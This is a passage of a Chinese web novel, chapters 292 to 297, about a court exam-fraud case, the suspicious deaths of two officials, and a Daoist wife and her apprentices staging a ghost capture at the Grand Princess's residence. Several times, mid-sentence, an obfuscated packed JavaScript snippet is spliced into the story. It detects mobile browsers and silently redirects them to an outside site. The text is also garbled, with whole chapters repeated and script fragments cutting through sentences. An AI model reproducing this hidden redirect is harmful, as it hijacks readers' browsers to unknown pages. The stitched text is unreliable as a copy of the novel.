夫君和爹爹已半条身子进了大牢,她不能再把自己搭进去。家中的庆辉还小,不能没有娘。 遂,娄婧赶紧闭嘴跪伏在地,再也不敢多说一个字。 景逸望着两人的模样,气不打一处来,大手一挥命令道: “来人!将罪人魏志鸿押入大牢,待定罪后处刑。其妻娄婧软禁在魏府,在调查清科举舞弊一案前,不得随意出府。” “是,皇上!” 在魏志鸿被捕役带走之时,他还在不停喊冤。随后,娄婧亦被两名捕役看管着送回魏府。 二人离开后,审判堂中便仅剩下了皇上、大理寺官员及慕周两家人。 景逸首先道:“来人,为两位周大人和二位公子解开镣铐。” 听闻此言,周慕两家人皆一阵激动。两名捕役上前为他们四人一一解开镣铐。 随后景逸又道:“二位爱卿,既然此案已查清,二位爱卿和你们的公子,也可回府去了。” 周慕两家人忙齐齐下跪,向景逸磕头拜谢,“臣多谢皇上!皇上圣明!” “平身!” 众人起身后,景逸望着周祎仁与周正忠道:“二位爱卿,委屈你们了。好在你们提供的线索都能找到证据。” 周正忠俯首道:“皆因圣上英明,慧眼善辩忠奸。还要多谢大理寺的各位同僚刚正不阿,秉公查案,助我等洗清冤屈。 周某在此代我全家,向谭大人蔺大人一拜!” “不敢不敢,周大人快请起!”谭瑯与蔺翔宇分别扶起他们。 众人又是一顿相互感谢,才抒发完胸中的感激激动之情。 这个结果,包括景逸在内,大家都十分满意。 “好了。周大人与永嘉侯你们快回府与家人团聚吧,莫要让家人担忧。朕也该回宫了。” 景逸话毕,站起身走下高台。众人再次下跪恭送皇上起驾。 而就在景逸行至慕怀瑾与徐莞身边时,忽然停下脚步,低声说了句: “慕夫人今后可要看管好收服来的游魂,莫要再让那些游魂偷潜出去吓人了。” 慕徐二人心思一动,难道皇上知晓汪焕清的鬼魂是从永嘉侯府跑出去的? 不过看皇上的语气和神色,并无怪罪之意,二人便也放下心来。 “是,皇上。妾身今后定当愈加谨慎,不负圣上之恩。”徐莞嗓音清和地答道。 景逸微微点头,再无停留便走了出去,在内官与侍卫们的护送下,向皇宫而去。 留下的周家慕家众人终于能够相拥在一起,一解担忧之苦。 “平章!祎仁!” “老头子哎… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“侯爷!王爷!各位大人不好了!方才有刑部的大人来传信说,魏志鸿畏罪自缢在牢房里了!” “什么!” 这个消息传来,立时打破了沐心阁中欢快的氛围。 慕怀瑾当即站起身,肃声道:“密信给我。” 福叔即刻将密信呈给他,周祎仁及鄞玄等人也围了过去看信。 看罢,几人的面容皆凝重起来。 “魏志鸿那日还信誓旦旦声称自己无罪,那模样一点不像会畏罪**的样子。今日又怎可能突然上吊**?”周祎仁愤愤道。 鄞玄接口道:“还有,娄贲也突发心悸死在了睡梦中。哪有如此巧合之事?” 慕怀瑾眉宇微蹙望着手中这份密信,心中一个猜测暗暗响起,“难道在魏志鸿和娄贲背后,果真还有一人?” “怀瑾你说什么?”鄞玄问。 慕怀瑾与徐菀相视一眼,二人都在对方眼中看到了同样的担忧。 随后,慕怀瑾想着在此地的都是可推心置腹之人,于是将去年在肖家听到的事,告诉了他们。 “魏志鸿和娄贲背后,还有个重要人物,便是何钦。” “从一品都督同知何钦?” “对。”慕怀瑾道:“据肖大人所说,当年何钦先找了他帮魏志鸿调包试卷,但肖大人并未答应。 后来肖大人便听说娄贲将自己女儿许配给了那年的探花,正是魏志鸿。 所以应是何钦后来又去找了娄贲帮忙。魏志鸿与娄贲背后之后,就是何钦。” 鄞玄听罢沉默片刻,而后才道:“何钦这十几年来升迁速度极快。传言背后有太后扶持。 老侯爷与本王被从北疆召回,夺了兵权,就是在为何钦让路。如今他已是兵事方面的第二把交椅。 若是此次何钦能在东部战区将沿海倭寇一网打尽,甚至将那几个小岛收复,必将升为正一品都督同知。 到时全国的兵权皆在他的手中,甚至能与皇室抗衡。” “原来如此,看来这个何钦真是老谋深算呐。怕魏志鸿与娄贲之事影响到他,干脆将他们**灭口。”周祎仁道。 慕怀瑾道:“可如今魏娄二人已死,且死无对证。方才的一切都是我们的猜测,没有证据能将其捉拿归案。” “嗯,此案只得停在这里了。”鄞玄低叹一声,神色黯然,“哎,只可惜如今我已没了兵权,也无法再去插手这些事了。” 他身后的流星冷锋听闻此言,即刻齐齐下跪,向其抱拳道:“属下愿永远跟随王爷左右,忠心不二,唯命是从!” 鄞玄转身将他二人扶起,“你们起来吧。放心,你们两个还有大用,本王不会亏待你们的。” “谢王爷!” 望着鄞玄眼底深处那抹隐隐的光,慕怀瑾便知他还未真正放弃手中兵权,或许还在暗中筹谋着什么。 慕怀瑾不禁从心底溢出一丝羡慕和叹息。 鄞玄能够有如此筹划,甚至能重回战场。但他却永无回到战场的可能。 不过转念一想,如今他与家人一起过着安稳富足的日子,身边还有娇妻相伴。这又何尝不是另一种幸福。 思及此,慕怀瑾望向不远处的徐莞,胸中的郁结豁然开朗。 人有时候就是要知足。 知足才是人生至高的智慧。 === 时近酉时,正是大户人家准备用晚膳的时刻。 大长公主府上的厨房内,一派热火朝天的忙碌景象。 “青禾,银耳百合茯苓汤还要多久?殿下晚膳要喝呢。” “快了孙嬷嬷,再有一炷**夫就好了。” “千里家的,午后吩咐你们做的咸蛋黄豆沙青团做好了吗?” “回嬷嬷,做好了。这会儿正蒸着呢,马上就好。” “好。小芹,你再准备些时令水果,待会儿一并给殿下端过去。” “是,嬷嬷。” 孙嬷嬷叮嘱完后,便转身向大长公主寝屋回返。 厨房内的下人们依旧忙得热火朝天,恨不得长出三头六臂,赶紧把晚膳准备好。 青禾蹲在灶台下方,将火炉门打开,拿着小扇子一个劲儿对里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377499|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搧着风,期盼火烧得旺一些,好早些将汤熬好。 连搧了数十下后,火苗终于旺了起来。 青禾满是汗珠的小脸上,终于绽放出一抹笑容,连忙站起身去捣鼓罐子里的汤。 但她却未曾注意到,那个放在火炉里面,封印着红翡翠耳环的罐子,虽放得离明火较远,但经过方才扇风之后,几个火星子飘到了罐子上,将封印罐子的符纸烧了去。 符纸烧去后,不消片刻,那罐子的盖子便噗得被顶了起来,一阵模糊的女人尖笑声飘了出来,融汇在厨房忙碌的脚步声与交谈声中... 少倾,一盘盘、一盅盅精美可口又养生的晚膳,便被端到了大长公主院落的花园里。 大长公主坐在花园的石桌旁,一面在丫鬟们的伺候下用晚膳,一面也从柳嬷嬷的口中,听说了魏志鸿与娄贲双双暴毙的消息。 “...二人这一死,更坐实了他们买通国子监买卖试题之罪。皇上下令将魏家与娄家双双抄家,将府中下人贬为贱奴,女眷与孩童也都送至官府为奴。 听说魏志鸿的夫人娄婧,不肯与她的小儿子入官府为奴,与官府之**闹,混乱间被抹了脖子。 而他们的小儿子则被官府抱走,许是要**后送入宫里充实宦臣...” 大长公主听罢冷哼一声,眼里无一丝怜悯之色。 “那娄婧没了夫家和娘家的庇佑,还如此任性跋扈,活该**。这都是他们一家所造的孽,终究报应在了后辈身上。” 柳嬷嬷颔首,“殿下说的是。” “只可惜他们一死,此案仅能查到这里了。十四年前魏志鸿调包试卷一案,却没了线索,只得不了了之了。”大长公主喃喃道。 柳嬷嬷与下人们未再接话。大长公主用了几口饭菜,忽然换了话题问:“那个坛子在厨房放了几日了?” “回殿下,今日是第六日。” “那还有一日便足七日了。不知那副耳环上的阴晦之气是否祛除了。” 大长公说着,又想起那日徐菀悄悄临走前递给她的小纸条,心中多了些安稳。 第293章 293.封印被烧毁 “侯爷!王爷!各位大人不好了!方才有刑部的大人来传信说,魏志鸿畏罪自缢在牢房里了!” “什么!” 这个消息传来,立时打破了沐心阁中欢快的氛围。 慕怀瑾当即站起身,肃声道:“密信给我。” 福叔即刻将密信呈给他,周祎仁及鄞玄等人也围了过去看信。 看罢,几人的面容皆凝重起来。 “魏志鸿那日还信誓旦旦声称自己无罪,那模样一点不像会畏罪**的样子。今日又怎可能突然上吊**?”周祎仁愤愤道。 鄞玄接口道:“还有,娄贲也突发心悸死在了睡梦中。哪有如此巧合之事?” 慕怀瑾眉宇微蹙望着手中这份密信,心中一个猜测暗暗响起,“难道在魏志鸿和娄贲背后,果真还有一人?” “怀瑾你说什么?”鄞玄问。 慕怀瑾与徐菀相视一眼,二人都在对方眼中看到了同样的担忧。 随后,慕怀瑾想着在此地的都是可推心置腹之人,于是将去年在肖家听到的事,告诉了他们。 “魏志鸿和娄贲背后,还有个重要人物,便是何钦。” “从一品都督同知何钦?” “对。”慕怀瑾道:“据肖大人所说,当年何钦先找了他帮魏志鸿调包试卷,但肖大人并未答应。 后来肖大人便听说娄贲将自己女儿许配给了那年的探花,正是魏志鸿。 所以应是何钦后来又去找了娄贲帮忙。魏志鸿与娄贲背后之后,就是何钦。” 鄞玄听罢沉默片刻,而后才道:“何钦这十几年来升迁速度极快。传言背后有太后扶持。 老侯爷与本王被从北疆召回,夺了兵权,就是在为何钦让路。如今他已是兵事方面的第二把交椅。 若是此次何钦能在东部战区将沿海倭寇一网打尽,甚至将那几个小岛收复,必将升为正一品都督同知。 到时全国的兵权皆在他的手中,甚至能与皇室抗衡。” “原来如此,看来这个何钦真是老谋深算呐。怕魏志鸿与娄贲之事影响到他,干脆将他们**灭口。”周祎仁道。 慕怀瑾道:“可如今魏娄二人已死,且死无对证。方才的一切都是我们的猜测,没有证据能将其捉拿归案。” “嗯,此案只得停在这里了。”鄞玄低叹一声,神色黯然,“哎,只可惜如今我已没了兵权,也无法再去插手这些事了。” 他身后的流星冷锋听闻此言,即刻齐齐下跪,向其抱拳道:“属下愿永远跟随王爷左右,忠心不二,唯命是从!” 鄞玄转身将他二人扶起,“你们起来吧。放心,你们两个还有大用,本王不会亏待你们的。” “谢王爷!” 望着鄞玄眼底深处那抹隐隐的光,慕怀瑾便知他还未真正放弃手中兵权,或许还在暗中筹谋着什么。 慕怀瑾不禁从心底溢出一丝羡慕和叹息。 鄞玄能够有如此筹划,甚至能重回战场。但他却永无回到战场的可能。 不过转念一想,如今他与家人一起过着安稳富足的日子,身边还有娇妻相伴。这又何尝不是另一种幸福。 思及此,慕怀瑾望向不远处的徐莞,胸中的郁结豁然开朗。 人有时候就是要知足。 知足才是人生至高的智慧。 === 时近酉时,正是大户人家准备用晚膳的时刻。 大长公主府上的厨房内,一派热火朝天的忙碌景象。 “青禾,银耳百合茯苓汤还要多久?殿下晚膳要喝呢。” “快了孙嬷嬷,再有一炷**夫就好了。” “千里家的,午后吩咐你们做的咸蛋黄豆沙青团做好了吗?” “回嬷嬷,做好了。这会儿正蒸着呢,马上就好。” “好。小芹,你再准备些时令水果,待会儿一并给殿下端过去。” “是,嬷嬷。” 孙嬷嬷叮嘱完后,便转身向大长公主寝屋回返。 厨房内的下人们依旧忙得热火朝天,恨不得长出三头六臂,赶紧把晚膳准备好。 青禾蹲在灶台下方,将火炉门打开,拿着小扇子一个劲儿对里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377499|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搧着风,期盼火烧得旺一些,好早些将汤熬好。 连搧了数十下后,火苗终于旺了起来。 青禾满是汗珠的小脸上,终于绽放出一抹笑容,连忙站起身去捣鼓罐子里的汤。 但她却未曾注意到,那个放在火炉里面,封印着红翡翠耳环的罐子,虽放得离明火较远,但经过方才扇风之后,几个火星子飘到了罐子上,将封印罐子的符纸烧了去。 符纸烧去后,不消片刻,那罐子的盖子便噗得被顶了起来,一阵模糊的女人尖笑声飘了出来,融汇在厨房忙碌的脚步声与交谈声中... 少倾,一盘盘、一盅盅精美可口又养生的晚膳,便被端到了大长公主院落的花园里。 大长公主坐在花园的石桌旁,一面在丫鬟们的伺候下用晚膳,一面也从柳嬷嬷的口中,听说了魏志鸿与娄贲双双暴毙的消息。 “...二人这一死,更坐实了他们买通国子监买卖试题之罪。皇上下令将魏家与娄家双双抄家,将府中下人贬为贱奴,女眷与孩童也都送至官府为奴。 听说魏志鸿的夫人娄婧,不肯与她的小儿子入官府为奴,与官府之**闹,混乱间被抹了脖子。 而他们的小儿子则被官府抱走,许是要**后送入宫里充实宦臣...” 大长公主听罢冷哼一声,眼里无一丝怜悯之色。 “那娄婧没了夫家和娘家的庇佑,还如此任性跋扈,活该**。这都是他们一家所造的孽,终究报应在了后辈身上。” 柳嬷嬷颔首,“殿下说的是。” “只可惜他们一死,此案仅能查到这里了。十四年前魏志鸿调包试卷一案,却没了线索,只得不了了之了。”大长公主喃喃道。 柳嬷嬷与下人们未再接话。大长公主用了几口饭菜,忽然换了话题问:“那个坛子在厨房放了几日了?” “回殿下,今日是第六日。” “那还有一日便足七日了。不知那副耳环上的阴晦之气是否祛除了。” 大长公说着,又想起那日徐菀悄悄临走前递给她的小纸条,心中多了些安稳。 第295章 295.收服女鬼? 大长公主从领口中摸出了一道已发黑变色的符纸,正是徐菀那日送她的强力护身符。 赶来的嬷嬷丫鬟们见那符纸变黑,齐齐大惊,再也不敢怠慢,相信了府上真的有鬼。 “不是明日才是第七天吗?为何那恶鬼今日便能出来害人?难道是封印的坛子出了岔子?”大长公主怀疑。 柳嬷嬷接口道:“奴婢这就派人去查看。” 不久后,一名丫鬟慌慌张张跑回来报,“回殿下,灶…灶台下那个坛口贴的符纸…不知何时被烧烂了…盖子也被顶开了……” 此话一出,在场众人无不倒吸一口气。大长公主也倏然变色。 “怎么会把符纸烧坏?不是让你们放得离明火远一些吗?” 两名厨房管事忙不迭下跪道歉,“殿下息怒!许是这几日厨房做饭菜时,不小心有火星子掉在了上面。奴婢这就去将坛子放远一些!” 大长公主气归气,但就算处罚了这些下人,那恶鬼也回不去了。 好在那恶鬼今晚被符纸重伤,应该不敢再出来了。只得等明日再派人去请徐莞来一趟。 “你们快去把那坛子处理好,再通知全府上下今夜都守在各自位置上,谁都不得闭眼!明日一早便派人去永嘉侯府请慕夫人。” “是,殿下!” 这一夜,大长公主府灯火通明,从公主本人,到府中养的鹦鹉都一刻不敢阖眼。 当然,那只恶鬼也未敢再现身。 第二日天一亮,大长公主便派人去永嘉侯府请徐莞。 徐莞方起身正在用早膳,听大长公主府上的人说,恶鬼从坛子里跑出来了,昨夜还试图伤害公主。 虽然此种情况都在徐莞的预料之中,但对方如此着急,徐莞也不敢怠慢,迅速收拾好便带着朱雀白虎,跟随大长公主府上的人离开。 到了大长公主府,徐莞将将踏进大门,还未走到正厅,公主便忙不迭迎了出来。 “菀菀呐,你可算来了!” 大长公主一见到徐莞,便同见了救星般紧紧拉住她的手不放。 徐菀见她面色发黄,神情憔悴,眼下还有一片明显的阴影,一看便是昨晚未睡好。 再看她身边的下人们,亦是一副黯然困顿的模样,看样子全府上下昨晚都被那恶灵扰得不得安宁。 “殿下,您玉体可还安康?”徐菀握住她的手,关切慰问。 “还好还好,多亏了你送我的那道符纸啊。” 徐菀又安慰了几句,便问起了正事,“那坛子在何处?我这就去看看。” “好好,本殿这就陪你同去。” 言语间,大长公主便带着徐菀三人到了厨房。 厨房的伙夫将那坛子从灶台下面搬出,放在灶台之上。 徐菀看过坛子的情况后,面上未有多少惊讶与担忧,神态依然平和稳定,与周遭围观的丫鬟嬷嬷们,形成鲜明对比。 “耳环上附着的恶灵确实逃出来了。不过殿下也不用太多担心。那恶灵昨晚被我的强力护身符伤到,如今应已元气大伤。甚至不用我亲自动手,我的两位徒弟便可将其收服。” 大长公主听后眼眸一亮,立即将目光转向徐菀身后的朱雀与白虎,“两位小道长道法也如此高超啊。” 朱雀白虎齐齐一愣:“???”师父这是做什么? 没提前告知他们需要为大长公主捉鬼啊! 徐菀弯唇一笑道:“他们已随我学了大半年。尤其是我的徒儿朱雀,法力高强,前途不可限量。” 大长公主颇为期待地点头,“好,那今日就麻烦两位小道长了。” 朱雀白虎努力控制着表情,露出一抹略显尴尬的笑,“呵呵殿下客气了。我等定当尽己所能、斩妖除魔,还您府上安宁。” “那殿下,麻烦稍等片刻,待我与姐姐去准备一二。” 白虎说罢,大长公主点头后,朱雀白虎便一左一右勾着徐菀的手臂,将她带出了厨房。 三人来到厨房外,朱雀与白虎才露出焦头烂额的表情,压低声音在徐菀耳边说:“师父,您要让我们来抓此处的恶灵?我...我们...丝毫未准备,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422329|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕...” 徐菀依旧一副气定神闲的模样,拍拍朱雀的手道:“你们放心,大胆去做,为师相信你们。” “可是...若是我们捉不住,那位公主会不会...” 徐菀伸出一根手指抵住朱雀的嘴,意味深长道:“你们一定能捉住。听懂了吗?其他的我会向大长公主解释。你们只管表演吧。” 朱雀白虎:“......”这是让我们作假忽悠人的意思? 好吧...反正从前又不是没干过。 他们本就是靠假道术忽悠人起家的,只不过做一回老本行而已。 “好的师父。徒儿们明白您的意思了。”白虎倒是一副胸有成竹的表情。 徐菀笑眯眯地摸摸白虎的脑袋,“还是白虎乖。事情交给你们,师父放心。那你们商量商量便开始吧。” 二人点头后,便在大长公主府里开始转悠观察,又向柳嬷嬷及府中的其他下人询问了关于那个恶灵的一些情况。 徐菀则与大长公主回到正厅稍坐休息。 等了大约一炷香的功夫,便有丫鬟快步前来通报,“殿下,两位小道长将那恶灵抓住啦!” “呀!已经捉到了?快带本殿去看看!” 大长公主激动地站了起身,徐菀亦即刻跟上,陪着她往里面的院落而去。 在那名丫鬟的带领下,一行人走进了大长公主的院落。在院落后方一间阴暗废弃的库房中,找到了朱雀白虎的身影。 “殿下您看,昨晚看见的是不是这只恶灵?” 但见在库房黑漆漆的角落中,一只身披白袍、披头散发的女鬼,被一道金光罩住,在金光中痛苦挣扎着,满是血痕的面上狰狞扭曲。 “对!就是她!昨晚就是这只鬼想害我!” 房内房外的嬷嬷下人们望见,亦拼命点头,又害怕却又想看他们如何将这只恶鬼收服。 朱雀白虎向徐菀暗暗挤挤眼睛,随后向大长公主道:“殿下莫怕。我们已施法将这女鬼困住,它如今已伤不了人。我们这就将其收服!” 第296章 296.配合表演 “殿下莫怕。我们已施法将这女鬼困住,它如今已伤不了人。我们这就将其收服!” 白虎说罢,动作利落地从背后拔出桃木剑,咬破手指将血从剑根涂抹向剑尖。 随后摆好架势,有模有样地吟诵起咒语,挥舞着桃木剑向女鬼而去。 马白虎虽没什么法力,但好歹有些花拳绣腿,将桃木剑舞得虎虎生风,一招一式颇为熟练美观,将大长公主与围观的下人们看得连连赞叹点头。 但只有白虎与朱雀知道,他那桃木剑就是个花架子,只能糊弄人,糊弄不了鬼。 不过那只鬼居然相当配合。 白虎用桃木剑每刺一次女鬼,女鬼便发出一阵凄厉惨叫,面露痛色,不住扭曲挣扎,身上还会冒出阵阵白烟,仿若被灼烧一般。 直至往那女鬼身上刺了十几下,白虎收回桃木剑,向朱雀递了个眼神。 朱雀随即上前一步,从袖中取出一道符纸夹在右手食指与中指之间,“大胆孽障,还不速速受死!” 喊罢,便将那道符纸向女鬼掷了过去。 但见那符纸一接触到女鬼,女鬼便在众人的眼皮子底下消失得无影无踪。 大长公主愣了片刻,眨眨眼才问:“二位小道长,那女鬼已经被收服了?” 白虎转过身机灵地点头,“对的殿下。那恶灵已被我们收到符纸里了。” 说着,朱雀将那道符纸交给徐莞,“师父,恶灵在此,请您处置。” 徐莞接过符纸放进小荷包中,抬首扬唇一笑,“好。殿下,待我回府后便做法让其灰飞烟灭。您今后可不必再担心了。” 大长公主听后长舒一口气,“呼…这便好这便好。真是多谢菀菀和两位小道长了。” 四周围观的下人们,亦不禁啧啧称奇,纷纷向朱雀白虎投去崇拜艳羡的目光。 “这两位小道长年纪看着小,没成想道术竟如此高超啊。” “可不是嘛。那位少年道长剑舞得好,长得又俊,将来绝对前途不可限量!” “那位女道长也颇有慕夫人的风范,一招就将那女鬼收了。真是又美又飒啊。” 听着四周这些赞美议论之声,朱雀与白虎不由得在心中窃喜。 嘿嘿,雕虫小技而已,这些人也太好骗了。 众人出了那间库房,大长公主边走边向柳嬷嬷吩咐,让她拿一盒银票出来。 众人再次来到正厅,大长公主让柳嬷嬷将那盒银票送给朱雀白虎。 柳嬷嬷行至二人面前,打开盒盖,“二位道长,这一百两是殿下的心意,请二位收下。” 朱雀白虎看到那一盒花花绿绿的银票,眼睛都直了,“这……” 但朱雀还是掐了自己弟弟一把,让他清醒过来,用征求的目光望向徐莞。 大长公主含笑望着他们道:“二位小道长别客气,这是本殿送你们的见面礼,你们就收下吧。给青云观的香火钱,本殿会另外结给菀菀的。” 徐莞听罢向两位徒弟微微点头,朱雀白虎便对大长公主一顿感恩戴德,欢天喜地将那盒银票接了过来。 大长公主又与徐菀聊了几句,徐菀便打算告辞了。 大长公主亲自将她送往府邸大门,期间还一直拉着她的手,说着体己话。 直到来到大门外,即将分别之时,徐菀才停下脚步,微微凑近她耳边低声道: “殿下,别忘了那日我给您的字条。这几日在府中还是小心为妙。” 大长公主一愣,转瞬便感觉手心里被放了什么东西。低下头望去,原来是徐菀又给了她一道强效护身符。 大长公主恍然意识到了什么,缓缓点头,目送她与两位徒弟坐上马车,渐渐远去。 离了大长公主府,在马车上,朱雀白虎终于放开了本性,与徐菀聊起了方才在公主府邸的那场精彩“法事”。 “方才你们表现的不错。”徐菀夸奖道:“那只女鬼,是饿死鬼假扮的吗?” 白虎立马捧哏道:“果然什么都难逃师父法眼啊。我和姐姐先同府上的嬷嬷丫鬟们聊了聊,搞清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朱雀也越过徐菀的肩头望了出去,眯起眼道:“宅院上方好像写着‘何府’。” 何府?难道是何钦在京城的宅院? 第297章 297.何府怨气 何府?难道是何钦在京城的宅院? 徐菀转过身从窗口望去,但见这座府邸上方的匾额上,的确写着“何府”两个大字。 她便命车夫将马车驾驶得慢一些,自己微微探出头去查看。 只一眼,徐菀便感觉出这座府邸大大的不对劲,有一股极强的怨气,盘踞在其上方。 这户宅院的主人好似已意识到了此事,布置了一个阵法妄图压制怨气,但效果甚微。 而立在府邸门外的那群人,有背着药箱的郎中,也有穿着道袍、看似仙风道骨的道长,还有挎着酒葫芦、窝在地上邋遢不羁的神秘高人,约莫有十几人之多。 但相同的是,他们的目光无一不凝望着何府大门。 恰好就在此时,一位管家打扮的中年男子,领着一位郎中走了出来。 那郎中一面捋着胡须,一面摇头低叹,面上一副无可奈何的表情。出了何府大门后,什么都没说便转身离去。 随后,等在何府门外的人们,一股脑地向管家涌了上去,毛遂自荐想进入府内。 管家和两名家丁向众人喊道:“各位道长和大夫莫急!大家排好队,一个个来!下一位,八仙观的许钧奕道长!请!” 话音落下,徐菀便望见那位,从前与自己有过节的八仙观小道长许钧奕,昂首挺胸自人群中走了出来,登上台阶随何府管家一同进了大门。 其余人则继续立于日头下,发出阵阵抱怨不满之声。 马车缓缓自何府门前驶过,直到看不到了,徐菀等人才放下车帘回身坐好。 “师父,这何府是不是有问题?”对面的朱雀问道。 “你也看出来了?” “嗯。” “确实有问题,而且问题很大。”徐菀思索片刻,顿了顿又道:“我们先回府,待派人调查一二后再做打算。” === 三人回到永嘉侯府,恰巧碰到一位客人要离开。 侯府正厅内,慕怀瑾坐于首座,正与坐在右侧椅子里的魏东阳交谈着。 冷锋流星与慕怀灵,亦坐在正厅内,一同等待着徐莞的到来。 从慕怀瑾口中得知魏东阳准备要走,徐莞由衷地有些不舍,挽留道:“魏兄弟,你今日便要走?不再多住几日?” 魏东阳站起身,向其抱拳行礼后道:“见过夫人。魏某多谢侯爷与夫人这些日子的照顾。 如今魏志鸿已死,我也不便继续在府上叨扰。今日等候在此,就是为当面向侯爷与夫人道谢告别。” 自那日前往大理寺出堂作证,亲眼目睹了魏志鸿被定罪捉拿,魏东阳心中好不舒爽,对他的恨也终于有了疏解之处。 没过几日又传来魏志鸿在狱中上吊**的消息,令魏东阳彻底松了口气,身上的戾气尽数消散,仅余一身平和与淡然。 望着此时的魏东阳,徐莞心中暗暗点头,他已彻底放下了心中所有的恨,往后的日子定会过得愈加平顺幸福。 “是我们该谢你才对。”徐莞道:“若不是你愿意出堂作证,且拿出那几封家书,或许还不能如此有力地证明魏志鸿调包试卷之罪。” “夫人过誉了,应是魏某感谢各位才对。若不是两位将军救了我,侯爷和夫人又收留我,魏某或许早已死在**们的刀下。” 慕怀瑾起身走来道:“魏兄弟客气了。既然你心意已决,我们便不再强留你。你今后有何打算?” 魏东阳想了想,神态变得柔和,“我想先去我娘的坟上看看,告诉她不孝子终于亲手将魏志鸿送进大牢,且他已死在了牢中。希望我娘的在天之灵能安息。 之后我想回家乡甘州,在那里寻一份差事,或做点小生意。若是能在那里成家立业,我这辈子便满足了。” 这时,冷锋起身道:“若是你愿意在甘州州府里做一名捕快,我或可为你写封推荐信。” “真的吗?”魏东阳激动转过身,向冷锋抱拳一拜,“多谢冷将军!” 冷锋身旁的慕怀灵,亦一脸崇拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐菀转过身从窗口望去,但见这座府邸上方的匾额上,的确写着“何府”两个大字。 她便命车夫将马车驾驶得慢一些,自己微微探出头去查看。 只一眼,徐菀便感觉出这座府邸大大的不对劲,有一股极强的怨气,盘踞在其上方。 这户宅院的主人好似已意识到了此事,布置了一个阵法妄图压制怨气,但效果甚微。 而立在府邸门外的那群人,有背着药箱的郎中,也有穿着道袍、看似仙风道骨的道长,还有挎着酒葫芦、窝在地上邋遢不羁的神秘高人,约莫有十几人之多。 但相同的是,他们的目光无一不凝望着何府大门。 恰好就在此时,一位管家打扮的中年男子,领着一位郎中走了出来。 那郎中一面捋着胡须,一面摇头低叹,面上一副无可奈何的表情。出了何府大门后,什么都没说便转身离去。 随后,等在何府门外的人们,一股脑地向管家涌了上去,毛遂自荐想进入府内。 管家和两名家丁向众人喊道:“各位道长和大夫莫急!大家排好队,一个个来!下一位,八仙观的许钧奕道长!请!” 话音落下,徐菀便望见那位,从前与自己有过节的八仙观小道长许钧奕,昂首挺胸自人群中走了出来,登上台阶随何府管家一同进了大门。 其余人则继续立于日头下,发出阵阵抱怨不满之声。 马车缓缓自何府门前驶过,直到看不到了,徐菀等人才放下车帘回身坐好。 “师父,这何府是不是有问题?”对面的朱雀问道。 “你也看出来了?” “嗯。” “确实有问题,而且问题很大。”徐菀思索片刻,顿了顿又道:“我们先回府,待派人调查一二后再做打算。” === 三人回到永嘉侯府,恰巧碰到一位客人要离开。 侯府正厅内,慕怀瑾坐于首座,正与坐在右侧椅子里的魏东阳交谈着。 冷锋流星与慕怀灵,亦坐在正厅内,一同等待着徐莞的到来。 从慕怀瑾口中得知魏东阳准备要走,徐莞由衷地有些不舍,挽留道:“魏兄弟,你今日便要走?不再多住几日?” 魏东阳站起身,向其抱拳行礼后道:“见过夫人。魏某多谢侯爷与夫人这些日子的照顾。 如今魏志鸿已死,我也不便继续在府上叨扰。今日等候在此,就是为当面向侯爷与夫人道谢告别。” 自那日前往大理寺出堂作证,亲眼目睹了魏志鸿被定罪捉拿,魏东阳心中好不舒爽,对他的恨也终于有了疏解之处。 没过几日又传来魏志鸿在狱中上吊**的消息,令魏东阳彻底松了口气,身上的戾气尽数消散,仅余一身平和与淡然。 望着此时的魏东阳,徐莞心中暗暗点头,他已彻底放下了心中所有的恨,往后的日子定会过得愈加平顺幸福。 